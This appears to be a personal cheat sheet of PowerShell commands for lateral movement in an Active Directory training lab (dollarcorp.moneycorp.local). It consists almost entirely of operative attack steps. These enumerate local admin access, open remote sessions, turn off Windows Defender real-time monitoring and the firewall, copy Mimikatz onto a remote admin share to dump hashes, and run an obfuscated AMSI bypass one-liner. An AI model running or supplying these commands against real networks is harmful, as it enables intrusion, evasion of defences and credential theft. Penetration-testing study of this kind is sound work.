Move Lat-AppLocker

#create a list to enumerate local first:
Find-PSRemotingLocalAdminAccess
Find-WMILocalAdminAccess
PowerView


#UserEnum
Invoke-UserHunter
Invoke-UserHunter -CheckAccess
Find-PSRemotingLocalAdminAccess
Find-WMILocalAdminAccess


#Invoke command to verivy our current user is able to do it:
Invoke-Command -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local -ScriptBlock{whoami;hostname}


#After finding a server create session:
$sess = New-PSSession -ComputerName dcorp-mgmt.dollarcorp.moneycorp.local
$sess
Enter-PSSession $sess


#Disable Firewall, AV, and check for Applock
#Applocker Check
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$ExecutionContext.SessionState.LanguageModeConstrainedLanguage


#Disable Firewal and AV
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
netsh advfirewall set allprofiles state off


#Copy Mimikatz to get Hashes
copy-item .\invoke-mimikatz.ps1 \\dcorp-adminsrv.dollarcorp.moneycorp.local\c$\'Program Files'
copy-item .\invoke-mimikatzEX.ps1 \\dcorp-adminsrv.dollarcorp.moneycorp.local\c$\'Program Files'



#bypass AMSI
powershell -ep bypass
SET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )